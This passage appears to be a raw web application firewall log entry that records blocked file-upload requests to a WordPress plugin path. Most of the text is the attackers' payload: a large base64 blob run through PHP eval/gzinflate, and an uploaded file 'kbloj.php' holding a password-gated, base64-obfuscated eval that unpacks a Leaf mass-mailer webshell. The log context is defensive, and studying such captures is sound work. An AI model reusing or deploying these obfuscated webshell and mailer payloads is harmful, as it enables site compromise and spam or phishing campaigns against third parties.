BDa2Q1Y1ZJVkNnS0t1UWFzajlhd05TMWRRNVZCYU1RRXhrcU5nRU1tcmFjUGlXc1RHR0ZFcW8rYmh6d1l3Mld4c0ZBN2I2dVBzbzZ6cUphdlRyb0RzVmIyaDBhdjBwWjgxeWRtVE1oVDFCSWE1MlVoUlRRVDlMdEM4UThLZnpobjE5TEZZcUJHdFRFd3lNWTZ3eTlzZFBtdGNkbUdQYURELzhHd3phNS9QRUJLYU1RbnRXTjVOVHY2cExvUFBvbEI5QVpTdER1SzNGOG03VCtiVGlyOUNobmlHUGhob0dVSzBsZGlOZUxIemdMUzRkbWpIdElmRG53NUNncW5GYnFid3VsSlJnQXZMa2JWdTlWVElGTERtaW1GUE03UXBNbEI0Vmh1a3BZV2tCUkVhQm9vTDJiVW1JVWJTTHJBajVsVHo0N2xXZWlqa3l2Ym5tQ2hZN1d5TFJzbWNrSitIRm5Md2NsV2ZuQzNlNXRQVGRJZ1FIbTBLamFsU3locElZUHYxVHk1RzlQWngyTVZzN2ErZ2VSUkZSYXdhczBtTjBGM0JrZ1hwc3pmV00zRkptL3c5TUlnUlE5WUIxVW50a1BoUHZEY2hiTHN1V2paUFVSZmEzQUJiL2xZaDYrSFc5ZVk2QWRUNjVJNnlObFA4MjdsbkwvdTNxdGlzWFQxd283OU9GRjNQaG13ZGg0OTlZWWdBR2hDZEdQVnpOQlplMktYekhoSjZ3ZTludnNtR0grbC9oemV6TUkrQzI4SXoyd2M5V3Y5T0EvcFMrNTFMZklYL0VSS3lSMU1vUTl0ZXhaeDFLTUtOalNRYTJqai8xZHAyVlVTL0NyRzRBTVBqL2M1SVNNdWlGTkdpTE1XR2pMVlFnbVdYL1A4Tko1Qi8xeFpjek11TG1sV0xSMVROVnJzcVRCRU02c3JuYm4zOXgzbU1jOVg1VFRjNWN6R1Rma1FpYzB4OFlXeGZCMjUrQWJZdzlycnh5dFdiQUJHOUNBclo0YXZFdWtZeEExNU9ndzBCMlNXclF0c09pSERzbVhnUkg4SEpHUW5YUmE3VXB2UEZUQ3ZkOFJYekJoU0xleUtnTkFycldZMUtBSjJmR0YvNGhuQkhUd2dGRVBmekp0N1NmdjZTYXpyMWcyTVE2bHloU04xOUFGMDJoSTUydU11LzMzSkhFK3NHRjZBck5DczQ2aE9NUXI3Sno1WGZSZWhCek5CWEFyZExraEJWZTlFbE9tN0VXd1c2R3BpZ1NrTzBGR1JLcjhKdzFkWWVQU3JkVWdMR1ZYZEhNcG9QYVZhZ3FLQk9PRUh4bkl0VnAxV2xlQVQydUVxUmNSOVh4b3Q1SnZjZTJnNy9jdmsrUjdxRDdCQnRKK29NRnhFYTkyMjVTT3RXK3VQNEZOWTVEQ2dva2xvanU1ZHM4NnZHMHBXTWlDYjk5dkh2UjhRMC9FWGNENUlhcHdUU2YwUnVjTE1Qa2l3Y0FnY1ArK3REV3RFOE11R3dQMFZxVmZPN0NMbEtGTTZzSlM0RnpuR0tkTVM5RzRwTGIwblI5MVJycG5DNktTZ1IwMnpiT3MzUFVJRUJndGxRQjRFNGs2ZDZCWkxvWE9xdGMrLzNkNjNFZGY4ejN4WmM1V2xRekVPUmtrTkp4eWlpcGhySUVqOFRpMTUySzl3aVlTdUpSWkpyOGdDMUZ0alh2YjBITzlEL3pKbWp6MnBBaUtCNEZoTUlRRUNqYXdSN3BZSGg4ODRoUitpTnZrci9wNkRxOUQ0Vmxld1JnWE1VM2N0bXRDVEx6YTVhZXI1dWM5czgxMDI0OHhSNkgrQmI0eXhOcGFucGxhenh6Vm1jQUE4TzhMMXRvV3Z6RXlDeGpOdjYrQTR1SUw4S1JzVlRXQUN4R08vYkJLa1JPV0hJZGNYaGFrVVAzNXpBQnhGUDVyMzdsMVpTUURwRDBRV1JHYW1KbWlyaHdCc1NLRWdsWTNVZmZFUkJQcit1RkIycFVSbm16c1JiQ0g5QStIclg4NzF1OXg2Mk5sU0JwbElKdWRYTnoxQ2NEcE9yMUdENk9XNUxJSGpCbTFGR2lJZ1J5U1kvVjFJNWxkVHVEMnlWakJBeW1QS3FNdG52SjZRdzRYd3dnenZuRUFCNFMyczJYekZ5Rm9qczRnTWxrT2E5MHJoT2YrQjY2K2pYZnJ2S1NCSHpXcHFOUE8vUUdjdXVRRVFBT2xTRnJ4eVBWRFViNTBBRzlFbEpXYTFOa29UZWdYRlZrRVhvWXB2c3R1RWhkTkNmemRrOEVqd0EwZ0x2M1JpNDFCSUgvbThhVU11TUVZdlFQK3pRbHhuTHY0UzVWQk1wTTdPdlVTc0VLMmNRMlNpVUtWVXFiWWxoam9wVUVvMFNNRy9DUU16TTZaNFE4Y0pFVUlnNEwvSDdKYTFkUHNXaTBDT2Q0VzFoZnd6Y0F3Rlk4cGNjU0RPNXJsNFlNbC9XZ0xQTDI3RS9SVWdqZGZUME4zbWVISXZNQVJjOUkyVGovcTJhRFZzM0U4UVZwbElveExtd0g4V0wvR2pTWmowTW9vZk9kTU13U01ZNkprMG9zRGpIZUx4NW41Tk1LaXJ0RUhveUR0NFpTZU9qMDF0U0VFamVycjJvVW1WbUxZazNUMnJQLzBDbzFQQkNlQ1E4RnRMdEd0eEV6Q3NmTDR4NStERCtYeGtYVTRDeXM2YkJUVGtIQVE0T0RvT3ZZVk9jL0hDYng1bTNkSGNWWGVQWkQvQkd5dG93cVZ4QklHNkw3VFd6ZytsZzhTSHdNb0p5UWNiRDBRMUdBeEs4dWhMNWtDQXMrZWpkWmg3VmMyOUVDUHliNmNiUTVneWlBLzd1LzdKcVFhN203eWtOcGRlWVZDb3M4SFlxRE9vTUFUNkRSR0lIUUtvbG54MXJwSEtlOUtZWWxQODR4WWxKSVAxR3UyK3RTMXJjNTg4VFhwUXRaOWNJalo1dFpHSjFlaXArc0VBcEZ4TGNEK3VkSTZFVlh3K3J6a1dGc1hYWm5LZGdNWTFYb2pEVzZuY0hPY3NmczF2SmFONk01NEhlTEo1a1Y5NklEc0VNUFEzbjBMSzBqK3JZa0JOSE50WGNpQlV5VFNHdU9EdEVIeXFYdysrUGNzNUZKQk9CS0ZtK2VsN1BNVEM1WjJ2S1N6QkJISEFxQThoNGZuYWNnMVRYckxLZWxTTEhNcjFPUHpDTlNDNnVldGhJYnpvalE3cUhicktuTC8wMEJmNU5OZlJlRlVnYzNkR1pITXNKM1BEclk4bEhBS2tpMmh1Zk5qdFUyT1R6d09KUmZUeFIrQTVVWGJiUzdGdjB6bzdvWlFBcGF1ZExPZTlmemYySDlPTVhRTGRRZGdZMHhOMExnYjY5Q1VZbnpzV1BxQWVMa05FZ24wN0Q2TEU1bXJkcHN3S3hzSTZNUmJ2SmZWTnAyM3NDaS96aW1JWDlhKzZqTVJuSUxnLzVaOS82R0lDUWFYdHNndEJjSGhiK3VFLzZMRkltYU5kd21YcGhiSGwyRVFnVFJ0dWZOYXBVYTNMUURPNEo1QkRVSlJRNi9CZEgyZTByUUw4SVF5YkFqZjZhR3BQUUlCZEIxVzJ4TkQ4bDIwNFM5YlpTeVVMN3Y2T3MrbXNIWWdVQWdHeTBuT3VPTzZSaDdJbURuaGV5Rnc0a204RU1rME1mKzdoUGorTVQyUm5rTTJDMzBnYVZIUWZPT1JtNHJwMVp3QUd2TGpyZXN1cnR3NHZVK1Zla1R1UzF4SEV5cERUOG5GQmNlY0ZtQkVUMTl6K1krRll0MGYrcGwrd05Ta2h1SVd1MU5nNlA4MFZEcHZBZjJQSCtwZzZZV1dtcFdLazNYOHJXZEl3RkxLQ2RHcE81dStlUG85TmcwemxOOWtybHBPckdpUE9MalZkTW5RYWVnenp2U0VBaUpMZjd6OTViQzNZRjBFQlBuWmxuR0p4eEllQWYvOHlCbkc2M0t5TzE2Z0V4eWRQamZ5ekFNWUg1NEJGT0JiN1pqdDZYeWNZUlovTmtCSFRTMUVSelJKVUpXTlhFZWhxdmtkSjFPUGtFc1RiU2hZSmZ6MTBkeXhId0ZRc3llN295emE4VlFMRTlwTWJNa0FtVmRoY3FPZGJiVlNKME5RcmpBR1c3VC9nQXFEb3dzRnNTQTdoSkJvWGVmTDRuMkFwZ0JkbmJCVm1HaEphOHBCQkU1STl0bWJiaDVlRWFyVjFLcVluZUF4T1VSU0dQSEFBdlMvV0dENU16VCtCL2lSaEE5Ym1MQkExYmhHQzRQMlI3ZVpidXdOcVI2aHNXdUtKNS9nUmwrWkJQUnpnTmlhdE54eXZkZHRROTNLWGE5b3lic280bVFnRlM1YlA1VEFMWUVYSWlnYmdKaHVpcFFpR1FhU1dOLzJOQlB4N25WMW5wb0JXL0VsK2dBRHJmK2tYYVJmNTIvQU1venlwZzNXcmdVSDg4eHZsdC9ISU4vS2FjdnY2SHZuWXJHM1k2K1lKY3RCQ251QTVjeXk5OVltMUdlREl1ZmJmNmtmSmNoUjhTMDQ1eTlQU0k0NFBSVXRja2hJZkJza0lqUUZRZVhDdmE3TzBQdWo0aUp1NWpleFVtOEFaWnU0WVBiaDJmd05aWTlGYlFLNkhSK2k4aTFOUzBKVzBjM3dGcTBiempJOTJNTGNpaUpDc2REUVM3SEpzbEhKckRZQlp5QTd1ejBnSWZjQnI0ckhFRVFzQVZBaGRXV3hab1B2TExXUGc1T1JlS2hBOTlzQXVCQTRKT0VaVVpYU1g3aTJZOHVmVkRRejVYT2h5dHlMVFlQWmtPQzNkeG5ENTU0QmgvczdNUUxvTUdYK1NtWk5XczlxcG52aVpna0dQUjVtRFRCSXpKK2NBZTk1STZERDJLN2YrMlRudE44VDIwTm03N0RjWmt0NGcvRXNHQStjd1lZZ3hiTUdMR2dtVElYY1RaZVFzd1BRUUJOdFdhcVFacnpnSlc1N3hyNGJwalZ2WlUwb0JjL282Q3RqcGJVQ01QRUVMMTBDSDFNQWViNEtBVDU2K3VlWnZxeGd3UHZUY05EN3R2OGtqNEI4SFRjaHc0ZXkrUWF6MGIzQkRwS2J1Z0JaZGVwQnJzc2Z3SGE5YU8rdHozM2pVQTM3OVVheTJ0RUVlMUd6UVN6SDMrejNTY3Z6YzZnU0V0L1Q3RWR5UC9sZzlodjZ2N2wrUGl3MUdnTmpIc3VPZ1JNQTY0SUd4QUNTYldlelQ1QVJIQjAxU003N0NDN0hlQUo2V25jU1VRcittaXVzZjFBV0xnQnVDMTFBemNSek5aNHVidERWeE50SXoya1Jac3dXWkE4SGRkQWc4d3FRMVRxbE1LRXhadE9JbXhBTFM0R1NnWk5mMnJmRzgzZVVCRm1BSU9rak1qOCthTHEvc0lBTytpTTU1NmlRY29lWTk3NXpHeTBqV0VYNUE2VVYvQVFic0kvbnVLQXA0QmhNZ05CT1JhOENOOWhsS0k1d1VBcTBMa2dtdHRwd0pLZGkrc2ZUdG5hQ01iNjNhL3VhOGVXSDFMRjlHeXN6MUM0VFk5SzEyNURnSEl2L1RNSVdKc1Q2WjJFNHRVYmV3UDNPR25lNGhGYndxWEVsMU43eGY4ME84cjA4UVViaDJWa2xCTGg2WFFOWGVnUmcvQkJWRnpVc3dOcHpqdDIzTlowcit4QjhjdFJQQ0pIcmVYMUlBOTJnTDF5Wmd0TEE1aXZUNk0wa2xJRnE4SFpXNldiNkJZZlQ1R2hkSkFEMDh5TlBjZ1VaTi8vQUpYd0VvdkJ3eFJLcFYzTTc1QXB4QXU5U3dQVDljK1lOREw3dVV3eGdETlltRkgydDBzaFRqM1FBVzJ2VGpyaGxHWUVpSDAyVlA0SVpXU24yQUxqRXZHSUU1NUhOY202bmVrU1d4T29QMDBNMDlvKzRkNzJDOUtoWk1OZ0NRU2lzb3hUMmNYRFBXaGY2SmJzRGh3SFpSczVma0lxZlFjZXhDSkFwd2NBdlVPMWJmSDNPb1QxUWtlV25RU2tMbUlPVzNVdFF3Y3A0SFRLaThOMEhmK3VOeWpQUlJXWU1kRGE1Ny8rd2xnNFhFdHpSNDZQcHlJc1h3NjJsWGxFZE0yeTNKalQrTXVXeXpwMlZ0Z01WaDcvUEtmMExod3dUKzd2b1JzMzZlKzNJUU9EYSttdWpDb3dsSS9KbGRwKytxc1U5TFN6bElNUmd5N1g3Syt3UDQrSDQzZy93R2FERjdjUGJmQ0hJemIzbWxlOGJPeXZCR25CdDFzQkdJZWlVcXdlYno0TU1LNm1CRFU2WEhhWjI1dGU1WmtGZDdYT0g3VnRhVVplVUNVVEIrWFR4MFNaSW9TcVpHTXk0NGNyWDh3MUxIbXk3UEZYeEEvMjRUSXlDWmJJelF4a0s2VVg5NENFUVJpSHpHR0htTGNaZGdkY1Q4UEZlWU05ZmNlQTFpc29mazA2ZVo0b3NHcDFUcTBWa3NhVFVlSjQxQVMrTzhVUzd2KzIzNFRHVHRSc3ZWRWhMTm5sY05FTms2eFpubjI2cldKeEZTa2hxN1VNbFlra21MTlJwNU1sWU1CZUVaNVBxRWZ6dEM4aHY4WUtIUENaakI3MkYwN3U1aFo0OE9UMU9IbkdLb1lUY2VCN285aEZHeDRqNUN6L0JyT3dEeFVJclkzZklmN2RwdTFzTVdhSWNHSkRuUHNqbWFNSll2SlhoMVBvd296ZWhmaUEzSjJpdzBIenh1UzlKcklvaUlYWE1LSC9YeHlLZ2YvdzRlTGc0TGtmclVBUWZlL0FPNXB0akdKWjIxdldXM0ZqQ2h6WFMwYStxZTRPNGlTS09zcXBIYWdzT2lSS2ttbXRyQS94cC9YbzZ2bDZiSFJHZXRWMEZ3Y0Q0clVIOXNhdWhSNFJDaDE3ZUNaRjNtM3MzU3BvdERZMXVhck1sUExaMm5kaVJ6MWpuVW9xYTlTUHpaWHlKS1QzREhzWG1jMXRjQ2pEemNnWVpIUHZsUVZxM0x0eHgrdERDSWpUWVBiU3prTnFtRk5tNm1zSmlLbjAwYnRmNXZYSzJBSlcrWG52Z0xHSEpjTTZJYjVhR1pBaThPQzJ4dS9IeTM4bEpjU2VXaW9JQXNySTdraEpiSS9UdGtGQkZjR3dSK1lrbU11QjdPbzhEdmsxLyt0cnZWTzU2cEY1RFltQXY2SGNtZ2ZEYitRc1VBS3p2L3NFNEJFN2dtZTJEL21QTFR6OEF2ZGYyUEhwQ1p6TFBvTlNody9kZGt2bWdONHYzS25CS2Jaa1BZYnBLMEVGamxHOXZrTm0zbFNQaE9KekloZ2ZSQkZ4bFNvbUk3M0VzWmUvK2hOSW1hdi81cmk4dFpKTXhqbE9HVWlCL2FEbDlaUi9Keis1ZFVsbjlZRFA0bmt0N0lSUDVPejJraTRqdGxVcW15aFFZQnVoRi9mYUtOSXBCVGhVWUYvRlZBVzQrVGNJbGQ5cHgyaEI5bDBmOXFLd1FhR2VIVTdCZXYrYmtxM3BrMEh1RDNoVnI3Y0QwU3hHUVloekhZYTc5MkxLTXdIQ2V6UnIrR1lReUFMOWpDaGx3Mk4raDRWTGY0QWlIOGhBQllkK2RnVEVzT1pSVGpUeTd0dTM1dkVHYncyNzlUamloYUVUaEU5bFhudEJYM2U4OTBiclh2NmFTdUlxSGc0eHBqNENhenkyRXc2RkcxWUdmYndOb2VxdzRGcXhLWUdSMHQwY0gxS3BROGIwQzhqZ2dWOGx2a0hOampsY01QL3U5cDI3TWI4d24vcCtLNGdjeWdIMFEvdDVGbmE0bVlHYVh5dlZORnV1UTZSbEhKUXRRcFJlUkxTL0tBRVNVSGlZb21GdndGZElFbEdIbjdCN2J6U0duRFRuLzZUNk9CL0xaeHl2S2NGL00rQTlqN2hmKzdHbmhyYitPOWtESVQyZmFoVXJ5dm9VSEVOUVRScUg1QUpVMDVKWjNSWXdkdjdGYU1NME1IdFdtaGlyUjRjNHlwd0VWd1JjcmY0L0NnOGZQQno0enh1NEVpRGl2aWlhay9vMlE0SUxUbFBFV0xldWhINnoyQUtDQXZlVVM1Yy8ySEhlSUI5OTdKQWx2ZGxLTDBOSEJKODdUdThWLzlYNmhPMnphY3E4THgvSmhJNEd3M044TFVTZEVRVG9ZZzEydXl0dFJPWmNpV0pvQk5QdVpZQ1VBZU41N2NuS0tBVTB5Y2FJMnNEVWN5RmE4S1BiWE1pLzVzL2ZCSk0weitvcWJHVzlwSnV6Nis3dm4zZ2hmSzMydi8yeFFrU3VpczNDUEpOd0dSWGdvcmdweUtDakFvWmsrU1ptWDhXYSsvZjR4WUNMRXZqd1p3bEhKallaeGo5Nm51RUYra0xZdVVRRTdsUHJnZUl3ZE5hZ1Q4SGtZRi9xeUw1b3dNUDNISTkzV0dLbTloQzNJNUVMNXBmdnpOazVSUER0VFNCR2hKZWI5dzBXWDlwdXd0Vlc2QWJLVFYrcEFJRjY5MGk3ck9vZGFXeDh6bnhYc3FjdmZsZHNTL2VRVWYrb05vSnBuOWM1eHpBM0RBUXoycjR6TlNjaEw4bi9VWm9hN00wN0JRYytJRFZsOWxsOGNpbDQrYnVzU1lHSjVnbUVyOGJUR2pMR1BSOWNmSE04YVhPWTh3LzUzV05GYVlCdkgvaGZnN1l0NW5RMnhvOWN5S3RENHhsQkJmeVM5RlJNSlladU94WUUwS3JZYkQ3Q01paWRnTDdxa3pyR0lONmN1OWt6OGdUSCtMSjU5N0RXTlhUTlBGamVjZUNDRHF3QzAyelA4Q0czKzlUZTRlelhWMzNQcUN4YTRBaWNScHhNS05wZUJTYnhYMCs0SXpzWGtmSTFxMy9mL3liTUdnZGpUUDRBK3FmWUZFNUVQTmFjQjRPcWVjRkE1KzVkTHlGTmpzd1ZsLy9OcWNQODZ5UWhranJkeFAzYWxrcFRtSFl4RXJwb1JpcFltWnNINm50OWgza0t5VkRGWGtYaDBMOUZsRUQyTytqUm5nZjVKQWFLNTJJczc4Y3hFaXVyclkrV25FR1BMWFROdEpPWU0xZmlybldzUGlDMWdvWnVib0lEM1ByOGVTdmdLWUhaNnUwV1hZb0tKandRYldDeFdBNnVac0NsWWdQRE5zQlRxNWR2SE1GZm9ZTGI5eG52YmpoMVBmbWJ2MGozWnp0VDNoekZSNmdqbU5seFMzRE9IRU1STVRLUUh5WEl6eElXMU5GUnBaaWs0RW05bFpwcVl1MFJKZHlVVThIT2R2SHY1dlZCT3I4WUhGL0JiNURWbE1sRnRGS0hNWjZMbUcwbC9JS3h1L2lFWkpwMDlkSFR4LzlucXpRcHRPTTd2enNkeVZnd095VG5SRzVGLzUxRVI5ckgweVJOWXdJdmNMV291RDNPM0IrSkJBdGEyTTJOWVArZGFseXJ6T2xvYURMd3NpNXpySUhzazYwcFYxOEw1MndGMTFPWERrYmNYQWV6QlNqa29FWkpEcDE4YitOa3QxdXVIeHU2Q2dDMG5mbDhzZDIvOEtGUnlUZEJ0NmZXZ1lMNUJYNzZxeFI0LzkxeW1qQlRaRHo4T2tKSCtsd3pucytJYXdiVEFGQ1cxV2l0RUU4SlR6SkMxUkZsTzcwdGlmRWVCRXU0M3pzb1p3NlpYY3JBMU1HeHZnRjdNQmNYdjF2TVgzSWE1V2NMMjdyeEZkS09iMWNQM1JBMzRIUXpGK3B3Y3UwQjUvOXQ5RmR6WFZNeG53NGt5UzVZL0tHVHdoL05XMW01bUpodDlSa1Z2eFh3M0RKSTNFWnA3eUoxVXo4dTdpblhmaXNQTGc4MnI0ZThvVS9Xck9aUjRlcGZ4U1dkZWlHVEFaK01MSWRFc3o3RE1WZVduSkdza3YzSUZhTzN5TVd0WmRpWUw3Y0tjVWZXTVRkdnc0akU3dFB2aUVTY1FjOUJPOFdUZityUGQxRnJiVERRL3hqLzRBOVRmdDRJUmd0eU4zMC84WEFpbzJQMTlEckZZWTN2Y2x1Rm5ndjA3dDNGbm4xMzhxenh2Rk8vWGYrT2lRUU0zWU1hU0gvNHlmWDUyVy9BQ1Bsci84enNodmZ0dlFqMHY3YnV0ZHlQV2liNktsRzROZi9JblU0TVBPc2ZVUm4wWXI2VnBiL3B2UmtxbWYyRklZNzB1eEVtcGZZOHQvYXJsZFdmRWdqTDM2SUJHenNRS2U5UFJUc09ieG1yb2QrcnVvamFhYUpFekMybjl1aGMvcksyTXYzKzc2VkhaY2VaTzN2TkV1akc0YWtSTGRhNEo3S0laS2ViLzdUVk1ZVDNsM1Q5Y2tBOHc5NStjLzJIMzRkKzVJTUp6L3hYejBBdndLTkh1TlR2VDVoQnNUZi85YmJKVFRwWUZ4SE92NjNyL08wci9weHl6Mlo0SGZUTjQwTlRXWWVyMkNGN01LejJEZmZLZGVkRDNkMS8rekVWbFhXdXluUGJvZUk3OUgzdi9oTzI5ZFBicFA0N0pFUFJ5cUg0KzhiS1NMbTNyVnI0bitseUlsaysra1hTbHhpc3ljMnlldnpYRU9lcnN6K1JENFcwN2p0djB0RVMvNlQ2cXA1ditiSGJrbjlkTkFPK3ZwR2VrcnVDN3piVkU3a0VaenhlNENYLysrbmhTMjRsL2FXZU1PR2h3dGxkTjdHekdzNEgrNXlPSjMrZEhVc25qazVNTHZlMlQ2NGtyRytvV0YrR2ZvOXd2L3lUWmRZdmd6bEhpeldWUjJaaU5rN3h2OUIrMGhOVTlBc2YvNGFLVVpiclZkOEtwV1Z5aGZMT2JLVjRqYlJjeTBFaExiZTNZSTJ1UUUySmJjTmY0ZXB5VlN4cDQvOHV6b0pJT3haSjFHL3pQU0ZPbUdMQ1RnUUtXWlF3THhhUWE3dE9rRlpJa0dSOGVKZnY0VjhMbjRTbVIvN0xLT08wb2l3T2tubmVvMzcvY2k5Z0ZBajQ2cEZRditqRXgyWkxFeTFBRk5qY3lkaUkwSHpCSWYrcEIzWE1JU2hBSEQrdnduelBSUUVtRk9JM3U5dVRsSG9odW52RlZUaEduSlIzNzluLy84TjI3UXZkZDM2LzM2L3ZzZzhwdjU1Zit1NE1GLzhMY0pqc2pIMndETjV4OWR3LytTODA1YURWTTB3MS9OdlRScHAxY2VSYVFkTDBrdTNrWE9GRUpjOXZQaDFPUDd1bWlRcmJxNzZCRzd1Z0taYXFYTmZuSHlvbDc5aVcrU3V1T3A4WTZONjltM1g5dW52OC92MnZ2NVZuYy9mLy9kdDMvc0hVQi8vVy8veDlFVDYvS2NDOXovbC8wLzVmV1RGRWFsNTQvM3ovL3lPR2padnNpWHgvdnovL2wrLy84Ly85L3Z4L3Y2Ly8wVlZ6L0gvdjdIY3dCRGNJY0dhMjk3NXRxUFVuWmliU1lyNG83VFFZTGFaOWgvbHdxcm9GMFQyb0pGaldlR2JOMDNueHAyVWlESnppc0gxTFRjaTNmd0Q0REE4SDhBK0FBIjsKZXZhbChodG1sc3BlY2lhbGNoYXJzX2RlY29kZShnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkc3R0MSkpKSk7Cg==\"));\r\n--09952cef648357b13929a1d4ce3cc6a4\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--09952cef648357b13929a1d4ce3cc6a4\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--09952cef648357b13929a1d4ce3cc6a4\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--09952cef648357b13929a1d4ce3cc6a4--\r\n"]
["2026-05-26 21:43:44","170.205.30.68","POST","\/wp-content\/plugins\/tvdqv\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/tvdqv\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=a820ec746addcd2f8c1e1d410e2f15fc\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:222320\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--a820ec746addcd2f8c1e1d410e2f15fc\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--a820ec746addcd2f8c1e1d410e2f15fc\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--a820ec746addcd2f8c1e1d410e2f15fc\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"kbloj.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n\n$password = \"xleeeeet\"; \/\/ MaILER Password \n\n\neval (base64_decode(\"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiAgICAgICAgcHJpbnQgIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT0ncGFzc3dvcmQnIG5hbWU9J3Bhc3MnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPiI7CiAgICAgICAgZXhpdDsgICAgICAgIAogICAgfQp9CgpzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7CgoKZnVuY3Rpb24gbGVhZkNsZWFyKCR0ZXh0LCRlbWFpbCl7CgkkZSA9IGV4cGxvZGUoJ0AnLCAkZW1haWwpOwoJJGVtYWlsdXNlcj0kZVswXTsKCSRlbWFpbGRvbWFpbj0kZVsxXTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstdGltZS1dIiwgZGF0ZSgibS9kL1kgaDppOnMgYSIsIHRpbWUoKSksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWwtXSIsICRlbWFpbCwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1lbWFpbHVzZXItXSIsICRlbWFpbHVzZXIsICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWxkb21haW4tXSIsICRlbWFpbGRvbWFpbiwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21sZXR0ZXJzLV0iLCByYW5kU3RyaW5nKCdhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eicpLCAkdGV4dCk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbXN0cmluZy1dIiwgcmFuZFN0cmluZygnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JyksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbnVtYmVyLV0iLCByYW5kU3RyaW5nKCcwMTIzNDU2Nzg5JyksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbWQ1LV0iLCBtZDUocmFuZFN0cmluZygnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JykpLCAkdGV4dCk7CiAgICByZXR1cm4gJHRleHQ7ICAKfQpmdW5jdGlvbiBsZWFmVHJpbSgkc3RyaW5nKXsKCSRzdHJpbmc9dXJsZGVjb2RlKCRzdHJpbmcpOwogICAgcmV0dXJuIHN0cmlwc2xhc2hlcyh0cmltKCRzdHJpbmcpKTsKfQpmdW5jdGlvbiByYW5kU3RyaW5nKCRjb25zb25hbnRzKSB7CiAgICAkbGVuZ3RoPXJhbmQoMTIsMjUpOwogICAgJHBhc3N3b3JkID0gJyc7CiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgICAgICRwYXNzd29yZCAuPSAkY29uc29uYW50c1socmFuZCgpICUgc3RybGVuKCRjb25zb25hbnRzKSldOwogICAgfQogICAgcmV0dXJuICRwYXNzd29yZDsKfQpmdW5jdGlvbiBsZWFmTWFpbENoZWNrKCRlbWFpbCl7CiAgICBpZiAoZmlsdGVyX3ZhcigkZW1haWwsIEZJTFRFUl9WQUxJREFURV9FTUFJTCkpIHJldHVybiB0cnVlOwogICAgZWxzZSByZXR1cm4gZmFsc2U7Cn0KIyBCdWxpdC1pbiBCbGFja0xpc3QgQ2hlY2tlciAKaWYoaXNzZXQoJF9HRVRbJ2NoZWNrX2lwJ10pKXsKICAgIGlmIChpc3NldCgkX0dFVFsnaG9zdCddKSl7CiAgICAgICAgJF9HRVRbJ2hvc3QnXT1leHBsb2RlKCIsIiwgJF9HRVRbJ2hvc3QnXSk7CiAgICAgICAgZm9yZWFjaCAoJF9HRVRbJ2hvc3QnXSBhcyAkaG9zdCkgewogICAgICAgICAgICBpZiAoY2hlY2tkbnNycigkX0dFVFsnY2hlY2tfaXAnXSAuICIuIiAuICAkaG9zdCAuICIuIiwgIkEiKSkgJGNoZWNrPSAi